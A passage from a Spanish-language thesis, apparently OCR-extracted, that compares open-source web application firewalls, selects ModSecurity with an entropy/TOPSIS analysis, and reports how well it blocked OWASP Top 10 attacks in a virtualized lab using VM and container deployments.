principio de funcionamiento es idéntico para todos los intérpretes sobre los que
corre la aplicacion. Esta categoria descendio a la tercera posicion para el
reporte del afio 2021 y tiene asociados 33 CWEs.

A04:2021 - Disefio inseguro. Esta, es una nueva categoria para el afio 2021. El
disefio inseguro no es la fuente de las otras categorias del framework y existe
una diferencia con una implementacion insegura, tanto en la causa raiz como
en las remediaciones. Es posible que un disefio seguro tenga defectos de
implementacién que conduzcan a vulnerabilidades que pueden explotarse. Asi
mismo, un disefio inseguro no se puede arreglar con una implementacion
perfecta, ya que carecen de controles de seguridad necesarios para defenderse
de ataques especificos. Tiene asociados 40 CWEs, entre los que destacan
“CWE-209: Generacion de mensaje de error que contiene informacion
confidencial” y “CWE-256: Almacenamiento desprotegido de credenciales”.
A05:2021 - Configuracion de seguridad incorrecta. Las aplicaciones son
vulnerables cuando no se ha realizado un proceso de hardening de seguridad
en cualquier parte de la infraestructura tecnoldgica, incluyendo el servidor
web, se tienen funciones o puertos habilitados que no son necesarios, las
cuentas y contrasefias por defecto permanecen habilitadas, las funciones de
seguridad mas actualizadas estan inhabilitadas o configuradas erréneamente,
entre otras. Esta categoria ascendié una posicion respecto al afio 2017 y tiene
asociados 20 CWEs.

A06:2021 - Componentes vulnerables y desactualizados. Las aplicaciones
son vulnerables cuando se desconoce las versiones de todos los componentes
de software que se utilizan del lado del cliente y del servidor, incluyendo el
sistema operativo, el servidor web de aplicaciones, el sistema de
administracion de bases de datos, los entornos de ejecucion y las bibliotecas.
En el 2017, esta categoria era denominada como “Uso de componentes con
vulnerabilidades conocidas” y para el ano 2021 ascendiéo desde la novena
posicién. Tiene asociados 3 CWEs.

A07:2021 - Fallas de identificacion y autenticacion. Las aplicaciones son
vulnerables cuando permiten ataques automatizados reutilizando credenciales

conocidas con listas de pares usuario y contrasefia, cuando permiten ataques de
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fuerza bruta, cuando poseen procesos debiles en las funcionalidades de
recuperacion de contrasefias, no poseen autenticacion multifactor, entre otras.
En el 2017, esta categoria era denominada como “Pérdida de autenticacion” y
para el afio 2021 descendié a la séptima posicion. Tiene asociados 22 CWEs.
A08:2021 - Fallas en el software y en la integridad de los datos. Esta
categoria estd relacionada con cddigo e infraestructura no protegida contra
alteraciones. Las aplicaciones son vulnerables cuando se implementa
funcionalidades de actualizacién de software, como plugins y bibliotecas, cuya
descarga no es verificada con hashes que garanticen la integridad de los datos
Esta, es una nueva categoria para el afio 2021 que tiene asociados 10 CWEs.
A09:2021 - Fallas en el registro y monitoreo. Las aplicaciones son
vulnerables cuando los inicios de sesion y las fallas de inicio de sesion no son
registradas, cuando los registros que se generan son poco claros e inadecuados,
cuando los registros generados no se los integra con herramientas de
monitorizacién para detectar actividad sospechosa, cuando las pruebas de
penetracion con herramientas dinamicas no generan registros, cuando se inserta
informacidn sensible en los archivos de registros, entre otras. En el 2017, esta
categoria era denominada como “Monitoreo y login insuficiente” y para el afio
2021 ascendi6 de la décima a la novena posicion. Tiene asociados 4 CWEs.
A10:2021 - Falsificacion de solicitudes del lado del servidor. Las fallas
SSRF, del inglés Server-Side Request Forgery, ocurren cuando una aplicacion
web estd obteniendo un recurso remoto sin validar la url proporcionada por el
usuario. Se permite al atacante coaccionar a la aplicacidén para que envie una
solicitud falsificada a un destino inesperado, incluso cuando esta protegido por
un firewall, VPN o listas de control de acceso a la red. Esta, es una nueva

categoria para el afio 2021 que tiene asociado 1 CWE.

2.3 Marco legal

La presente investigacion se sitla en el ambito de la seguridad informatica, un aspecto

crucial en el desarrollo de la politica publica del pais. Esta investigacion encuentra su

sustento principalmente en la Constitucion de la Republica del Ecuador del 2008, la

cual establece en su articulo 3 el deber primordial del Estado de garantizar, sin

discriminacion alguna, el efectivo goce de los derechos establecidos en la Constitucion
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y en los instrumentos internacionales. Asi mismo, el articulo 16 de la Constitucion
dispone que todas las personas, en forma individual o colectiva, tienen derecho al
acceso universal a las tecnologias de informacion y comunicacién, Ademas, el articulo
66, numeral 19, reconoce y garantizara a las personas el derecho a la proteccion de
datos de caracter personal, que incluye el acceso y la decision sobre dicha informacion,
asi como su proteccion correspondiente. La recoleccion, archivo, procesamiento,
distribucion o difusion de estos datos o informacion requerirdn la autorizacion del titular

0 el mandato de la ley.
Asi mismo, la investigacion esta sustentada por leyes complementarias como:

e Ley Organica de Proteccion de Datos Personales de 2021.
e Ley Organica de Telecomunicaciones de 2015.

e Ley del Sistema Nacional de Registro de Datos Publicos de 2010.
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CAPITULO Il
MARCO METODOLOGICO

3.1 Descripcion del &rea de estudio / Descripcion del grupo de estudio

La investigacion presentada fue realizada en un ambiente de virtualizacion, razon por
la que no es aplicable la descripcion de la ubicacién fisica de un area o lugar especifico,
pero es necesario aclarar que los resultados alcanzados con este trabajo serviran de guia
para cualquier organizacion en cuya infraestructura tenga desplegado un servidor de

aplicaciones web que brinde servicios a los clientes internos y externos de la misma.
3.2 Enfoque y tipo de investigacion

El presente trabajo de investigacion tuvo un enfoque cuantitativo. De acuerdo con
Hernandez, Fernandez y Baptista (2014), el enfoque cuantitativo implica tratar un
problema medible u observable que pueda ser formulado como una pregunta. Esta
basado en la recoleccidn de datos para caracterizar una realidad o probar una hipétesis y
conlleva la medicion de variables y/o el andlisis estadistico para generalizar los

resultados méas ampliamente.

El tipo de investigacion fue descriptivo. De acuerdo con Herndndez, Ferndndez, y
Baptista (2014), “Los estudios descriptivos buscan especificar las propiedades, las
caracteristicas y los perfiles de personas, grupos, comunidades, procesos, objetos o

cualquier otro fendmeno que se someta a un analisis” (p.92).
3.3 Procedimiento de investigacion
La investigacion se desarrolld en tres fases que se describen a continuacion:

3.3.1 Caracterizaciéon de soluciones WAF open source que operen sobre
escenarios de maquinas virtuales y contenedores.

En la fase 1 se realizd investigacién documental haciendo uso de fuentes de
informacion impresas o electronicas con la finalidad de abstraer las caracteristicas
técnicas y funcionales mas relevantes sobre la tematica de los Web Applications
Firewalls open source que trabajen en escenarios de maquinas virtuales y contenedores.
Para el efecto, se investigd cinco soluciones WAF open source que figuran como las

mejores opciones en el reporte “The Best Open Source Web Application Firewalls”
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publicado por Zenarmor, y actualizado al 2023. La caracterizacion de dichas soluciones

se presenta desde el numeral 3.3.1.1 hasta el numeral 3.3.1.5.
3.3.1.1 ModSecurity

ModSecurity es un firewall de aplicaciones web desarrollado por Trustwave y
programado en C, capaz de bloquear en tiempo real el trafico entrante y saliente que se

considere malicioso al cotejarlo con un conjunto de reglas predefinidas (Magnus, 2009).
Las principales caracteristicas de ModSecurity son:

e Plataforma de cddigo abierto que se distribuye bajo la licencia GPL (General
Public License), lo que implica la personalizacion de acuerdo a las necesidades
particulares del usuario.

e Dos versiones disponibles, la version V2 optimizada para el servidor web
Apache y la versién V3 optimizada para los servidores web Nginx y 1IS
(Project ModSecurity Core Rule Set, 2023).

e Tanto la versién V2 y V3 estan disponibles para ambiente de contenedores en
las plataformas github y dockerhub (Core Rule Set Documentation, 2023).

e Puede ser integrado en la red de tres formas diferentes: como un mddulo del
servidor web para proteger aplicaciones especificas, como un proxy inverso
entre el cliente y el servidor para proteger varias aplicaciones detras de un
Unico punto de acceso, y como un proxy transparente para inspeccionar todo el
trafico de la red antes de que llegue al servidor web (Ramirez, 2014).

e Admite los protocolos HTTP y HTTPS.

e Trabaja con el conjunto de reglas Core Rule Set de OWASP o con
ModSecurity Rules — Free de COMODO, ambas escritas en SecLang (Security
Language) (Plesk, 2023).

e EIl funcionamiento de ModSecurity puede ser configurado para los modos de
bloqueo y deteccion.

e Genera logs de seguridad cuando se detecta una amenaza o actividad anémala.
Estos registros pueden ser utilizados para realizar seguimiento y respuesta ante
incidentes.

e Los formatos de los logs generados son configurables.
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e Protege las aplicaciones web de las vulnerabilidades reportadas en OWASP
Top 10.

e Permite la integracion con otros sistemas de seguridad en la red como SIEMs
(Security Information and Event Management) o IDS/IPS (Intrusion Detection

System / Intrusion Prevention System), de codigo abierto o comerciales.
3.3.1.2 Coraza (Tosso, n.d.)

Coraza Web Application Firewall es un proyecto de cddigo abierto que tiene el
objetivo de convertirse en el primer firewall de aplicaciones web de grado empresarial.
Esta desarrollado en lenguaje Go, basado en ModSecurity y capaz de proporcionar una

solucidn flexible y potente que sirva de base para proyectos de seguridad web.
Las principales caracteristicas de Coraza son:

e Plataforma de codigo abierto que se distribuye bajo la licencia GPL (General
Public License).

e Version V3 disponible para servidores web Apache, Nginx y Caddy.

e Version de prueba Coraza-Nginx disponible para ambiente de contenedores en
la plataforma github.

e Al estar basado en ModSecurity y desarrollado en Go, Coraza ofrece un alto
nivel de seguridad y rendimiento, asi como la integracion con diferentes
entornos y necesidades de seguridad.

e Compatible con los conjuntos de reglas SecLang (Security Language) de
ModSecurity y Core Rule Set de OWASP.

e Protege las aplicaciones web de las vulnerabilidades reportadas en OWASP
Top 10.

e Puede ser integrado en la red como un médulo del servidor web Apache y
Nginx, 0 como un proxy inverso en Caddy entre el cliente y el servidor web.
Desventajosamente la mayoria de las integraciones estan en fase experimental
y no cuenta con informacion suficiente de despliegue de soluciones.

e Coraza se integra con variedad de audit loggers como Elasticsearch, Logstash,
Fluentd, entre otros, que permiten registrar y analizar el trafico web con fines

de auditoria de seguridad.
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e Al manejar una estructura de logs y aceptar reglas escritas en SecLang, Coraza

se integra con otros sistemas de seguridad en la red como SIEMs o IDS/IPS.
3.3.1.3 NAXIS (Wargio, 2024)

NAXIS, acronimo de Nginx Anti XSS & SQL Injection, es un modulo WAF
desarrollado por terceros y de codigo abierto para el servidor web Nginx. Esta

disponible para varios sistemas operativos basados en UNIX.
Las principales caracteristicas de NAXIS son:

e Plataforma de cddigo abierto que se distribuye bajo la licencia GPL (General
Public License).

e Version 1.6 disponible en la plataforma github para ambiente de méaquinas
virtuales.

e Por defecto tiene implementado un conjunto de reglas simples para el 99% de
los patrones conocidos involucrados en vulnerabilidades de aplicaciones web.

e No existen imagenes oficiales para ambientes de contenedores en las
plataformas github y dockerhub.

e Puede ser integrado en la red como un madulo del servidor web Nginx para
proteger aplicaciones especificas 0 como un proxy inverso entre el cliente y el
servidor para proteger varias aplicaciones detras de un Unico punto de acceso.

e No trabaja con el conjunto de reglas Core Rule Set de OWASP, en lugar de eso
trabaja con su propio conjunto de reglas optimizadas para las caracteristicas
especificas de Nginx.

e Genera logs de seguridad cuando se detecta una amenaza o actividad anomala.
3.3.1.4 Shadow Daemon (LinuxLinks, 2023) (Zecure Information Technologies, n.d.)

Shadow Daemon es un firewall de aplicaciones web de codigo abierto que intercepta
las peticiones a nivel de aplicacion, no a nivel de protocolo, y filtra parametros

maliciosos.
Las principales caracteristicas de Shadow Daemon son:

e Plataforma de codigo abierto que se distribuye bajo la licencia GPL (General

Public License).
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e Version 2.2.0 disponible en las plataformas github y dockerhub para ambiente
de contenedores.

e Desfavorablemente las iméagenes de contenedor de Shadow Daemon no tienen
mantenimiento y las implementaciones son bajo responsabilidad del personal
técnico.

e Utiliza pequefios mddulos de conexion para aplicaciones web escritas en
lenguajes de programacion PHP, Perl y Python.

e Detecta inyecciones SQL, inyecciones XML, inyecciones de cddigo,
inyecciones de comandos, inclusiones de archivos locales/remotos, acceso a
puertas traseras, etc.

e Utiliza algoritmos de lista negra y blanca para el analisis de las peticiones web.

e Esta desarrollado en C++.

e No trabaja con el conjunto de reglas Core Rule Set de OWASP, en lugar de eso
trabaja con su propio conjunto de reglas personalizables.

e Genera logs de seguridad cuando se detecta una amenaza o actividad anémala.
3.3.1.5 WebKnight (AQTRON:iX, 2019)

WebKnight es un Web Application Firewall implementado como un filtro ISAPI
(Internet Server Application Programming Interface), un componente de software que
se utiliza en servidores web Microsoft Internet Information Services (11S). Este filtro
permite extender la funcionalidad del servidor web para interceptar y procesar las
solicitudes entrantes y salientes con la finalidad de prevenir ataques comunes a los

aplicativos webs.
Las principales caracteristicas de WebKnight son:

e Plataforma de cddigo abierto que se distribuye bajo la licencia GPL (General
Public License).

e Version 4.0 disponible en la pagina oficial del desarrollador AQTRONIX para
ambiente de maquinas virtuales.

e No existen imégenes oficiales para ambientes de contenedores en las
plataformas github y dockerhub.

e Tiene su propio lenguaje de reglas y su estructura especifica para definir
condiciones y acciones para los paquetes interceptados.
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e Puede ser integrado en la red como un modulo del servidor web IIS 0 como un
proxy inverso entre el cliente y el servidor.

e Tiene interfaz web de administracion.

e Por defecto genera logs de seguridad cuando se bloquea una peticion.

e Puede ser configurado para los modos de bloqueo y deteccion.

e Admite los protocolos HTTP y HTTPS.

e Los cambios en la configuracion de WebKnight no requiere el reinicio del
servidor web, lo que se traduce en la no interrupcién del servicio para los
usuarios.

e Permite la integracion con otros sistemas de seguridad en la red como SIEMs
de cddigo abierto o comerciales, para el anélisis, correlacion y almacenamiento

centralizado de los eventos de seguridad.
3.3.1.6 Seleccion de la solucion WAF open source para el laboratorio de pruebas

Con las caracteristicas de las cinco soluciones WAF, presentadas desde el numeral
3.3.1.1 hasta el numeral 3.3.1.5, se procedi6 a realizar una comparacion basada en
parametros que permitié establecer una matriz de decision. Esta, a su vez es la base para
la realizacion de un analisis de toma de decisiones multicriterio (Multi-Attribute
Decision-Making MCDM). El analisis MCDM contempla el método de la entropia para
determinar los pesos de importancia relativos y el método TOPSIS (Technique for
Order of Preference by Similarity to Ideal Solution) para la toma de decision con base a

los pesos relativos obtenidos inicialmente.

3.3.2 Desarrollo de un laboratorio de pruebas para soluciones WAF open source
en escenarios de maquinas virtuales y contenedores.

En la fase 2 se implement6 un laboratorio de pruebas para una solucion WAF open
source haciendo uso de un software que facilite la virtualizacion de una topologia de red
donde se considere el servidor web vulnerable, la maquina del atacante, un servidor
DHCP (Dynamic Host Configuration Protocol) y los dos escenarios de soluciones WAF

contemplados en este proyecto, maquinas virtuales y contenedores.

La topologia de red virtual propuesta para el laboratorio de pruebas es la presentada en
la Figura 3.1.
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Figura 3.1

Topologia de red propuesta para el laboratorio de prueba de las soluciones WAF

—
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Kali-Linux

Servidor Servidor web vulnerable
DHCP -

Cliente ... | - = |
S |
S

Servidor web vulnerable

WAF
Cliente proxy inverso

Nota: Figura elaborada por el autor, (Reyes, 2024).

En la topologia de red presentada, los servidores web vulnerables estan ubicados
detras de la solucibn WAF que opera como un proxy inverso en el ambiente de
maquinas virtuales como en el de contenedores. Esta configuracion aporta ventajas de
seguridad al afiadir una capa adicional que oculta la topologia de los servidores y
elimina el acceso directo desde los clientes en la LAN. Al canalizar todas las solicitudes
por el proxy inverso, este se convierte en un punto centralizado para el registro y
posterior analisis de logs durante procesos de auditoria. Ademas, la implementacion
como proxy inverso evita la necesidad de modificar el codigo fuente de las aplicaciones
web, como seria necesario en caso de optar por implementaciones de las soluciones

WAF como mddulos del servidor web.

El dominio configurado en el proxy inverso para redireccionar las peticiones a los

servidores web vulnerables es waf-utn.edu.ec.

El direccionamiento IP para todos los equipos de red se asigna mediante DHCP en el
segmento de red 192.168.10.0/24.
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3.3.2.1 Hardware para la implementacion

La implementacion de la topologia de red se realizo utilizando virtualizacién sobre un

computador portéatil con las siguientes caracteristicas:

e Procesador: Intel(R) Core(TM) i7-9750H CPU a 2.60GHz.

e Memoria RAM: 16,0 GB DDRA4 a 2400 MHz.

e Almacenamiento: 1TB SSD.

e Tarjeta grafica: Nvidia GeForce GTX 1650 de 4GB.

e Conectividad inalambrica: Intel(R) Wireless-AC 9560 a 160MHz.
e Conectividad Ethernet: Realtek PCle GbE Family Controller.

3.3.2.2 Software para la implementacion

El software necesario para la implementacion de la topologia de red del laboratorio de

pruebas se detalla en la Tabla 3.1.

Tabla 3.1
Software requerido para la implementacion del laboratorio de pruebas
Software Funcionalidad en la red
Oracle VM VirtualBox versién 7.0.6 Hipervisor para entorno de virtualizacion
Sistema Operativo CentOS 7.9 minimal Proxy inverso
Sistema Operativo Kali-Linux 2023.3 Cliente para pruebas de penetracion
Sistema Operativo Ubuntu 20.04.02 Servidor web vulnerable
Sistema Operativo Ubuntu 18.04.05 Servidor web vulnerable
Sistema Operativo Ubuntu 14.04.05 Servidor web vulnerable
Sistema Operativo Debian 11 “Bullseye”  Servidor web vulnerable
Sistema Operativo Debian 10 “Buster” Servidor web vulnerable
Apache 2.4.6 Servidor web como proxy inverso
Soluciéon WAF open source Web Application Firewall
Docker 24.0.6 Plataforma para ejecucién de contenedores

3.3.2.3 Implementacion de la solucion WAF open source como proxy inverso en la

topologia de red propuesta.

La solucibn WAF open source, resultado del proceso de seleccion, se implemento
tanto en ambiente de maquinas virtuales como en contenedores. Sin embargo, debido a
lo extenso de este apartado, el detalle completo de la instalacion y configuracion de

cada escenario se presenta como anexos al presente trabajo de investigacion.
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3.3.3 Eficacia de la solucion WAF open source en escenarios de maquinas
virtuales y contenedores ante diferentes vectores de ataque.

En la fase 3 se ejecutd varios vectores de ataque para las vulnerabilidades reportadas
en el framework OWASP Top 10 en contra de servidores web vulnerables sin la
proteccion de la solucion WAF en la topologia de red. Los servidores web vulnerables
utilizados para evaluar cada item de OWASP Top 10 fueron descargados de la

plataforma de entrenamiento VulnHub, y el detalle se presenta en la Tabla 3.2.

Tabla 3.2
Servidores web vulnerables utilizados en el laboratorio de pruebas
item de OWASP Top 10 Servidor web vulnerable

A01:2021 - Pérdida de control de acceso DarkHole: 1 (Alqurashi, 2021)
A02:2021 - Fallas criptograficas BlackMarket: 1 (AcEbOmMb3R, 2018)
A03:2021 - Inyeccion Venom: 1 (Bawariya & Kumar, 2021)
A04:2021 - Disefio inseguro ICA: 1 (onurturali, 2021)
A05:2021 - Configuracion de seguridad

. Insanity: 1 (Williams, 2020
incorrecta y: 1 )

A06:2021 - Componentes vulnerables y
desactualizados

A07:2021 - Fallas de identificacion y
autenticacion

A08:2021 - Fallas en el software y en la
integridad de los datos

A09:2021 - Fallas en el registro y monitoreo HA: Natraj (Hacking Articles, 2020)
A10:2021 - Falsificacion de solicitudes del
lado del servidor

Symfonos: 3.1 (Zayotic, 2020)

Inferno: 1.1 (mindsflee, 2020)

Leeroy: 1 (weirdatfirst & jiveturkey, 2020)

HarryPotter: Nagini (Mansoor R, 2021)

En el Anexo A se detalla el proceso de explotacion de vulnerabilidades en los
servidores de prueba de cada una de las categorias de OWASP Top 10. Este proceso se

realiza sin la proteccion de la solucién WAF en la topologia de red.

Posteriormente, se integré en la topologia de red virtualizada la solucion WAF
operando en el entorno de maquina virtual. Se ejecutaron los mismos vectores de ataque
presentados en el Anexo A, contra los mismos servidores web de prueba, con la
finalidad de verificar la eficacia de la solucién en este escenario. Después, se llevo a
cabo un procedimiento similar con la solucibn WAF operando en el entorno de

contenedores Docker.
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3.4 Consideraciones bioéticas

La presente investigacion se desarrollé en un ambiente controlado de virtualizacion
haciendo uso de recursos informaticos, sin la necesidad de trabajar con grupos humanos
donde se requiere contar con el consentimiento de los participantes. Aclarado esto, el
unico principio que guié este trabajo de investigacion fue la “Honestidad Académica”,
dando crédito a las personas que aportaron en el enriquecimiento de la informacion

necesaria para la temética contemplada en este proyecto.
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CAPITULO IV
RESULTADOS Y DISCUSION

4.1 Caracterizacion de soluciones WAF open source sobre escenarios de maquinas

virtuales y contenedores

Tras haber caracterizado cinco soluciones WAF de cddigo abierto, se realiza la

comparacion presentada a continuacion:

ModSecurity es una plataforma de cddigo abierto que se distribuye bajo la
licencia GPL (General Public License). Esta plataforma cuenta con el respaldo
de una comunidad activa y en constante actualizacién. Ademas, se dispone de
amplia documentacién para implementaciones e integraciones en una red de
datos.

ModSecurity es la Unica solucion WAF de codigo abierto oficialmente
disponible para implementaciones en ambientes de maquinas virtuales y
contenedores. Coraza WAF esta disponible en ambiente de maquinas virtuales,
pero su version para contenedor esta en fase de pruebas. NAXIS y WebKnight
no disponen de imagenes oficiales para ambientes de contenedores. Shadow
Daemon esta disponible para ambiente de contenedores, pero las imagenes no
tienen mantenimiento.

ModSecurity para ambientes de maquinas virtuales y contenedores esta
disponible para los servidores web Apache, Nginx y IIS. Segun el reporte Web
Server Survey de Netcraft con fecha de corte febrero de 2024, estos servidores
representan el 40% de la cuota de mercado de sitios activos a nivel mundial
(ver Figura 4.1). Por otro lado, Coraza WAF esta disponible para los servidores
web Apache, Nginx y Caddy en ambiente de maquinas virtuales, mientras que
la versién de prueba para ambiente de contenedores solo esta disponible para el
servidor web Nginx. NAXIS, por su parte, esta disponible para el servidor web
Nginx, mientras que WebKnigh se encuentra disponible Unicamente para el
servidor web 11S.

Las reglas para ModSecurity al igual que Coraza WAF siguen el formato
SecLang (Security Language), el cual permite especificar condiciones y
acciones que el WAF debe tomar para proteger las aplicaciones web contra

ataques maliciosos. NAXIS, WebKnight y Shadow Daemon siguen su propio
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formato de reglas, y considerando la reducida disponibilidad de
documentacion, los vuelven menos atractivos.

e Los formatos de los logs generados son configurables, lo que facilita la
integracion con otros sistemas de seguridad en la red como SIEMs.

e ModSecurity puede ser configurado para los modos de bloqueo y deteccion.
Esto lo convierte en una opcién atractiva para la implementacion de una

honeypot.

Figura 4.1.

Cuota de mercado de servidores web activos a febrero de 2024
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Nota: Recuperado de “Web Server Survey”, (Netcraft, 2024).

Lo anteriormente expuesto permite realizar la matriz de decision presentada en la
Tabla 4.1. Esta se basa en una escala que va del uno al cinco, donde 1 representa el
nivel mas bajo de la caracteristica especifica que se evalla, y cinco representa el nivel

mas alto.

Tabla 4.1

Matriz de decisién para las soluciones WAF open source

Caracteristica ModSecurity Cx:'z:a NAXIS [S)zz:jno(;l;l\ WebKnight

Licencia GPL 5 5

Documentacion disponible

Solucién VM

Solucién Docker

R OOl

Mantenimiento del cédigo

Disponibilidad para
servidores

Formato para reglas

ok~ 01 OO0 O1
gl W O~ lO01W
GllWwWw N (WL ool
glwl w

Gllw N (WL oD

Integracion con SIEM’s
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El resultado del método de la entropia aplicado a la matriz de decision presentada en la
Tabla 4.1, se detalla en la Tabla 4.2, donde:

e Ej (Energia): Representa la entropia de cada caracteristica. Es calculada como
la entropia de Shannon que es una medida de la dispersion o incertidumbre en
los valores de la caracteristica. Cuanto mayor sea Ej, mayor sera la
incertidumbre asociada y, por lo tanto, la caracteristica particular menos
informativa sera.

e Dj (Distancia): Representa cuanto se desvia cada caracteristica del estado de
referencia o valor objetivo. Cuanto menor sea Dj, mas cerca estara la
caracteristica particular del estado de referencia y, por lo tanto, mas deseable
sera.

e Wj (Peso): Es el peso asociado con cada criterio y refleja su importancia

relativa en el proceso de toma de decisiones.

Tabla 4.2
Resultado del método de la entropia aplicado a la matriz de decision
Caracteristica Ej Dj Wij

Licencia GPL 1,0000 0,0000 0,0000
Documentacion disponible 0,9517 0,0483 0,1418
Solucién VM 0,9393 0,0607 0,1784
Solucién Docker 0,8824 0,1176 0,3456
Mantenimiento del cédigo 0,9312 0,0688 0,2021
Disponibilidad para servidores 0,9614 0,0386 0,1135
Formato para reglas 0,9937 0,0063 0,0187
Integracion con SIEM’s 1,0000 0,0000 0,0000

Con los pesos Wj obtenidos del método de la entropia, se realiz6 el método TOPSIS
(Technique for Order of Preference by Similarity to Ideal Solution) para la toma de
decision. El resultado del procedimiento es el presentado en la Tabla 4.3, donde Ci, o
coeficiente de cercania, indica la proximidad relativa de cada alternativa de solucion

WAF, a la solucion ideal.

Del anélisis de toma de decisiones multicriterio MCDM realizado, se desprende que
ModSecurity es la solucion WAF open source mas adecuada para la implementacion

del laboratorio de pruebas.
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Tabla 4.3

Resultado del método TOPSIS para la toma de decision de la solucion WAF

Solucion WAF Ci Ranking
ModSecurity 0,8191 1
Coraza WAF 0,7441 2
NAXIS 0,3466 4
Shadow Daemon 0,5551 3
WebKnight 0,3466 4

4.2 Desarrollo del laboratorio de pruebas para soluciones WAF open source sobre

escenarios de maquinas virtuales y contenedores.

El proceso exitoso de implementacion de ModSecurity 2.9 en un servidor web
Apache 2.4.6 como proxy inverso en ambiente de maquina virtual, sobre el sistema
operativo CentOS 7 minimal, se detalla en el Anexo B. Para est4d implementacion se
tuvo en cuenta los requisitos de hardware y dependencias necesarias de software previo
a la instalacién. Posterior a la instalacion, el proceso de configuracién del CRS (Core
Rule Set) de OWASP es relativamente sencillo, dependiendo de las destrezas para

manejar sistemas operativos basados en Linux.

En este escenario se tiene la ventaja del aislamiento, lo que significa que la solucién
WAF tiene su propio sistema operativo, recursos y configuraciones, permitiendo

garantizar la estabilidad evitando conflictos entre diferentes aplicaciones.

De manera similar, ModSecurity 2.9 se instal6 en un servidor Apache 2.4.57
configurado como proxy inverso en ambiente de contenedores, con Docker 24.0.6,
sobre el sistema operativo CentOS 7 minimal. El proceso exitoso de implementacion se
detalla en el Anexo D. Los requisitos de hardware y dependencias de software también
fueron tomadas en consideracion previo a la instalacion, al igual que en el escenario de
maquinas virtuales. Posterior a la instalacion, fue necesario la modificacion de las
variables de entorno en los archivos de configuracion del WAF para evitar conflictos
cuando se ejecuten varias imagenes Docker simultaneamente, agregandole un nivel de
dificultad adicional. La configuracion de las reglas CRS de OWASP tiene el mismo

grado de complejidad respecto al escenario de maquinas virtuales.

En el escenario de contenedor Docker se tiene la ventaja de la portabilidad,

caracteristica que permite la encapsulacion de las dependencias y configuraciones que
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facilita la integracion agil en diferentes entornos de pruebas y produccion, sin

preocuparse por las diferencias en la infraestructura que esta por debajo.

4.3 Eficacia de la solucion WAF open source sobre escenarios de maquinas
virtuales y contenedores ante diferentes vectores de ataque.

Los resultados de ejecutar varios vectores de ataque para las vulnerabilidades
reportadas en el framework OWASP Top 10 en contra de servidores web vulnerables
sin la proteccion de la solucibn WAF en la topologia de red (Anexo A), y con la
proteccion de la solucion WAF en ambientes de maquinas virtuales y contenedores
(Anexos C y E) son presentados en la Tabla 4.4. Para esto, se realizd un proceso de
codificacion con la finalidad de que la variable categoérica con la que se determina la
eficacia de las soluciones WAF sea transformada en una variable numérica que esté
acorde al enfoque cuantitativo de la investigacion. Es asi que se asigna un valor de 1

cuando se bloquea el ataque de la vulnerabilidad, y 0 cuando no se bloquea el ataque.

Tabla 4.4
Eficacia de las soluciones WAF frente a vectores de ataque para las vulnerabilidades
reportadas en OWASP Top 10

Vulnerabilidad reportada en Sin solucion Solucién WAF Solucién WAF
OWASP Top 10 WAFenlared (Maquina Virtual) (Contenedor)
A01:2021 - Pérdida de control
0 0 0
de acceso
A02:2021 - Fallas criptogréaficas 0 1 1
A03:2021 - Inyeccion 0 1 1
A04:2021 - Disefio inseguro 0 1 1
A05:2021 - Configuracion de
. . 0 1 1
seguridad incorrecta
A06:2021 - Componentes
. 0 1 1
vulnerables y desactualizados
A07:2021 - Fallas de
e L 0 1 1
identificacion y autenticacion
A08:2021 - Fallas en el software 0 1 1
y en la integridad de los datos
A09:2021 - Fallas en el registro 0 1 1
y monitoreo
A10:2021 - Falsificacion de 0 1 1

solicitudes del lado del servidor
Total 0 9 9

Nota: 1 = Se bloguea y 0 = No se bloguea
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Como se puede apreciar en la Tabla 4.4, la solucion WAF en ambos escenarios
evaluados demostrd ser eficaz para nueve de las diez categorias contempladas en el
framework OWASP Top 10. Sin embargo, el resultado para la primera categoria
“A01:2021 Pérdida de control de acceso” no fue satisfactorio. Esto se debio a que las
pruebas se llevaron a cabo utilizando el Core Rule Set en sus versiones CRS-3.3.4 y
CRS-3.3.5 con cambios menores en las configuraciones predeterminadas, y del analisis,
se determind que para abordar esta categoria especifica se requiere la implementacion
de reglas personalizadas que se ajusten a la funcionalidad de acceso de cada aplicativo

web especifico.

Una vez caracterizadas las soluciones WAF open source, implementado el laboratorio
virtualizado, ejecutadas las pruebas planificadas, y determinada la eficacia mediante una
comparacion entre los escenarios sobre los que se trabajo en este proyecto, se llevé a
cabo un analisis estadistico para los metadatos relacionados al tiempo de procesamiento
de las solicitudes bloqueadas en el WAF de la red, los cuales son registrados en los logs

de auditoria de ModSecurity.

Para poner en contexto al lector, previo al detalle del analisis estadistico ejecutado, en
la Figura 4.2 se presenta el ejemplo de un log de auditoria registrado por ModSecurity
durante el desarrollo de las pruebas en el laboratorio implementado. Asi mismo, en la

Tabla 4.5 se presenta el detalle de la estructura de los logs de auditoria de ModSecurity.

De la estructura de los logs de auditoria que se registran, es destacable el pardmetro
“Stopwatch”, el cual estd expresado en microsegundos y conformado por nueve
variables cuya descripcién de funcionalidad, basada en la documentacion oficial de

ModSecurity (owasp-modsecurity, 2022), se presenta a continuacion:

e pl - Fase 1 del procesamiento que se ejecuta inmediatamente después de que
Apache haya completado la lectura de los encabezados de la solicitud,
haciendo un cotejamiento entre los argumentos y las reglas escritas para esta
seccion especifica.

e p2 - Fase 2 del procesamiento donde se coteja el cuerpo de la solicitud con la
mayoria de las reglas escritas para proteger las aplicaciones. ModSecurity
admite tres tipos de codificacion para el cuerpo de la solicitud, application/x-

www-form-urlencoded utilizado para transferir datos de formulario,
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multipart/form-data utilizado para transferencias de archivos, y text/xml
utilizado para pasar datos XML.

e p3 — Fase 3 del procesamiento en la que se analizan los encabezados de la
respuesta justo antes de ser enviada al cliente.

e p4 — Fase 4 del procesamiento donde se coteja el cuerpo de la respuesta con
reglas escritas para inspeccionar el HTML saliente en busca de divulgacién de
informacion, mensajes de error o texto de autenticacion fallida.

e p5 — Fase 5 del procesamiento donde se inspeccionan los mensajes de error
registrados por Apache. En esta fase no se puede negar/bloquear conexiones ya
que es demasiado tarde.

e sr— Storage Read o tiempo de lectura de datos desde el almacenamiento, es el
parametro que permite determinar la eficiencia con la que ModSecurity puede
acceder a datos relacionados con la solicitud actual almacenados en memoria o
en archivos temporales en disco.

e sw — Storage Write o tiempo de escritura de datos en el almacenamiento, es el
pardmetro que permite determinar la eficiencia con la que ModSecurity puede
guardar datos relacionados con la solicitud actual en memoria o en archivos
temporales en disco.

e |- Logging Time o tiempo para hacer el registro en los archivos de auditoria.

e gc — Garbage Collection o tiempo de procesamiento interno de limpieza y

gestion de la memoria.

Para el analisis estadistico se utilizo el lenguaje computacional R, una herramienta
